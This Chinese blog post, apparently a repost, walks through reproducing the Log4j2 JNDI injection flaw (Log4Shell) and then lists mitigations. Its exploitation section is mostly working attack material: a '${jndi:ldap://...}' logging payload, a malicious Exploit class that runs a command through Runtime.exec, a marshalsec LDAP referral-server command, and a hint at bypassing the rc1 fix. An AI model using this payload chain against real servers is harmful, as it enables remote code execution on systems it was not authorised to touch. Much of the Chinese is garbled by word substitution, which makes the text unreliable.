起源:blog.csdn.net/qq_40989258/article/details/121862363
0x00 简介
ApacheLog4j2是一个开源的Java日志框架,被宽泛地利用在中间件、开发框架与Web利用中。
0x01 破绽概述
该破绽是因为Apache Log4j2某些性能存在递归解析性能,未经身份验证的攻击者通过发送特定歹意数据包,可在指标服务器上执行任意代码。
0x02 影响范畴
Apache Log4j 2.x <= 2.15.0-rc1
0x03 环境搭建
创立一个新的maven我的项目,并导入Log4j的依赖包
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version></dependency>
0x04 破绽利用
1、应用POC测试
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://localhost:8888/Exploit}"); }}
2、编译一歹意类Exploit.class
首先新建exp.java,而后编译为class文件
class Exploit { static { System.err.println("Pwned"); try { String cmds = "calc"; Runtime.getRuntime().exec(cmds); } catch ( Exception e ) { e.printStackTrace(); } }}javac exp.java
3、应用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888
4、运行poc.java,即可拜访歹意类并执行写在其中的"calc"命令
联合一些其它 StrLookup 适当变形,以及配合官网测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"
可绕过rc1,RC2版本对此异样进行了捕捉。
https://github.com/apache/log...
0x05 修复形式
目前,Apache官网已公布新版本实现破绽修复,倡议用户尽快进行自查,并及时降级至最新版本:
https://github.com/apache/log...
倡议同时采纳如下长期措施进行破绽防备:
1)增加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2)在利用classpath下增加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3)JDK应用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署应用第三方防火墙产品进行平安防护。
近期热文举荐:
1.1,000+ 道 Java面试题及答案整顿(2021最新版)
2.劲爆!Java 协程要来了。。。
3.最新!Log4j 2.x 再发版,正式解决核弹级破绽,又要熬夜了。。。
4.Spring Boot 2.6 正式公布,一大波新个性。。
5.《Java开发手册(嵩山版)》最新公布,速速下载!
感觉不错,别忘了顺手点赞+转发哦!